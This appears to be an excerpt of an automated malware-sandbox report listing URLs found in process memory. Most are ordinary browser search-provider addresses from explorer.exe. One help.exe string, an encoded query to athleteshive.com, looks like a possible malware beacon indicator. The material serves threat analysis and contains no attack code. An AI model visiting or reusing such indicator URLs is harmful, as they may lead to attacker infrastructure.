Source: explorer.exe, 00000006.00000000.2180707596.0000000003C40000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://it.search.dada.net/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://it.search.dada.net/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://it.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://jobsearch.monster.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://kr.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://list.taobao.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://list.taobao.com/browse/search_visual.htm?n=15&q=
Source: explorer.exe, 00000006.00000000.2180887707.0000000003E27000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: explorer.exe, 00000006.00000000.2180887707.0000000003E27000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://mail.live.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://mail.live.com/?rru=compose%3Fsubject%3D
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://msk.afisha.ru/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://ocnsearch.goo.ne.jp/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://openimage.interpark.com/interpark.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://p.zhongsou.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://p.zhongsou.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://price.ru/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://price.ru/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://recherche.linternaute.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://recherche.tf1.fr/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://recherche.tf1.fr/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://rover.ebay.com
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://ru.search.yahoo.com
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://sads.myspace.com/
Source: explorer.exe, 00000006.00000000.2169916528.0000000001C70000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: vbc.exe, 00000004.00000002.2165883965.0000000002301000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search-dyn.tiscali.it/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.about.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.alice.it/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.alice.it/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.aol.co.uk/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.aol.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.aol.in/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.atlas.cz/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.auction.co.kr/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.auone.jp/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.books.com.tw/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.books.com.tw/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.centrum.cz/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.centrum.cz/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.chol.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.chol.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.cn.yahoo.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.daum.net/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.daum.net/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.dreamwiz.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.dreamwiz.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.ebay.co.uk/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.ebay.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.ebay.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.ebay.de/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.ebay.es/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.ebay.fr/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.ebay.in/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.ebay.it/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.empas.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.empas.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.espn.go.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.gamer.com.tw/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.gamer.com.tw/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.gismeteo.ru/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.goo.ne.jp/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.goo.ne.jp/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.hanafos.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.hanafos.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.interpark.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.ipop.co.kr/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.ipop.co.kr/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.live.com/results.aspx?FORM=IEFM1&q=
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.live.com/results.aspx?FORM=SO2TDF&q=
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.live.com/results.aspx?FORM=SOLTDF&q=
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.live.com/results.aspx?q=
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.livedoor.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.livedoor.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.lycos.co.uk/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.lycos.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.lycos.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.msn.co.jp/results.aspx?q=
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.msn.co.uk/results.aspx?q=
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.msn.com.cn/results.aspx?q=
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.msn.com/results.aspx?q=
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.nate.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.naver.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.naver.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.nifty.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.orange.co.uk/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.orange.co.uk/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.rediff.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.rediff.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.seznam.cz/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.seznam.cz/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.sify.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.yahoo.co.jp
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.yahoo.co.jp/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.yahoo.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.yahooapis.jp/AssistSearchService/V2/webassistSearch?output=iejson&p=
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search.yam.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search1.taobao.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://search2.estadao.com.br/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://searchresults.news.com.au/
Source: explorer.exe, 00000006.00000000.2183368799.0000000004F30000.00000002.00000001.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://service2.bfast.com/
Source: explorer.exe, 00000006.00000000.2180887707.0000000003E27000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://sitesearch.timesonline.co.uk/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://so-net.search.goo.ne.jp/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://suche.aol.de/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://suche.freenet.de/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://suche.freenet.de/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://suche.lycos.de/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://suche.t-online.de/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://suche.web.de/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://suche.web.de/favicon.ico
Source: explorer.exe, 00000006.00000000.2182699706.0000000004B50000.00000002.00000001.sdmp	String found in binary or memory: http://treyresearch.net
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://tw.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://udn.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://udn.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://uk.ask.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://uk.ask.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://uk.search.yahoo.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://vachercher.lycos.fr/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://video.globo.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://video.globo.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://web.ask.com/
Source: explorer.exe, 00000006.00000000.2182699706.0000000004B50000.00000002.00000001.sdmp	String found in binary or memory: http://wellformedweb.org/CommentAPI/
Source: explorer.exe, 00000006.00000000.2180887707.0000000003E27000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: explorer.exe, 00000006.00000000.2194341895.000000000A330000.00000008.00000001.sdmp	String found in binary or memory: http://www.%s.com
Source: explorer.exe, 00000006.00000000.2169916528.0000000001C70000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.abril.com.br/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.abril.com.br/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.afisha.ru/App_Themes/Default/images/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.alarabiya.net/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.alarabiya.net/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.amazon.co.jp/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.amazon.co.uk/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.amazon.com/exec/obidos/external-search/104-2981279-3455918?index=blended&keyword=
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.amazon.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.amazon.com/gp/search?ie=UTF8&tag=ie8search-20&index=blended&linkCode=qs&c
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.amazon.de/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.aol.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.arrakis.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.arrakis.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.asharqalawsat.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.asharqalawsat.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.ask.com/
Source: help.exe, 00000007.00000002.2376290691.0000000001262000.00000004.00000001.sdmp	String found in binary or memory: http://www.athleteshive.com/?fp=FjU3U6I66l5%2FkTAZwi94VlwWms9nsw7CBNafYr15RAFiHFhOD6HIZQ%2B9c%2FrvVJ
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.auction.co.kr/auction.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.baidu.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.baidu.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.cdiscount.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.cdiscount.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.ceneo.pl/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.ceneo.pl/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.chennaionline.com/ncommon/images/collogo.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.cjmall.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.cjmall.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.clarin.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.cnet.co.uk/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.cnet.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.dailymail.co.uk/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.dailymail.co.uk/favicon.ico
Source: 7BFBA2AD.emf.0.dr	String found in binary or memory: http://www.day.com/dam/1.0
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.etmall.com.tw/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.etmall.com.tw/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.excite.co.jp/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.expedia.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.expedia.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2182699706.0000000004B50000.00000002.00000001.sdmp	String found in binary or memory: http://www.expedia.com/pub/agent.dll?qscr=mcst&strt1=%1&city1=%2&stnm1=%4&zipc1=%3&cnty1=5?http://ww
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.gismeteo.ru/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.gmarket.co.kr/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.gmarket.co.kr/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.co.in/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.co.jp/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.co.uk/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.com.br/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.com.sa/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.com.tw/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.cz/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.de/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.es/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.fr/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.it/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.pl/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.ru/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.google.si/
Source: explorer.exe, 00000006.00000000.2180707596.0000000003C40000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.iask.com/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.iask.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2180887707.0000000003E27000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: explorer.exe, 00000006.00000000.2182699706.0000000004B50000.00000002.00000001.sdmp	String found in binary or memory: http://www.iis.fhg.de/audioPA
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.kkbox.com.tw/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.kkbox.com.tw/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.linternaute.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.maktoob.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.mercadolibre.com.mx/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.mercadolibre.com.mx/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.mercadolivre.com.br/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.mercadolivre.com.br/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.merlin.com.pl/
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.merlin.com.pl/favicon.ico
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.microsofttranslator.com/?ref=IE8Activity
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.microsofttranslator.com/BV.aspx?ref=IE8Activity&a=
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.microsofttranslator.com/BVPrev.aspx?ref=IE8Activity
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.microsofttranslator.com/Default.aspx?ref=IE8Activity
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.microsofttranslator.com/DefaultPrev.aspx?ref=IE8Activity
Source: explorer.exe, 00000006.00000000.2180707596.0000000003C40000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	String found in binary or memory: http://www.mtv.com/
